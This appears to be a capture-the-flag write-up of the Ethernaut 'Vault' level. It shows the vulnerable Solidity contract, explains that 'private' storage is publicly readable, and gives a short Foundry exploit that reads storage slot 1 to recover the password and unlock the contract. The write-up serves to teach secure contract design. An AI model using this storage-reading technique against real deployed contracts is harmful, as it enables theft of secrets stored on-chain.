We need to unlock the Vault
smart contract to pass the level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Analysis Link to heading
Let’s look at the state variables:
bool public locked;
bytes32 private password;
In EVM storage is a key-value store that maps 256-bit words to 256-bit
words and is accessed with EVM’s SSTORE~/~SLOAD
instructions.
The private
visibility modifier means that other contracts
can’t read the password
state variable directly. But all
storage variables of any contract are visible to anyone because
everything on a blockchain is public.
Exploit Link to heading
In the foundry
we use
wm.load to load
the password value from the storage slot. The bytes32
takes
the whole slot, hence we want to access the slot with index 1
.
Then we just unlock
the Vault
with that password:
function exploit() internal override {
vm.startPrank(player);
bytes32 password = vm.load(address(level), bytes32(uint256(1)));
level.unlock(password);
vm.stopPrank();
}
Summary Link to heading
Do not store any sensitive info “as is” a smart contract’s storage. Anyone can read contract state and incorrect assumptions about privacy aspects of data or transactions can be abused which may lead to security issues.
References Link to heading
- Layout of State Variables in Storage
- SWC-136 from the Smart Contract Weakness Classification and Test Cases.
The full code is here. Thank you for reading and let’s move on to the next challenge: Ethernaut, #10 King!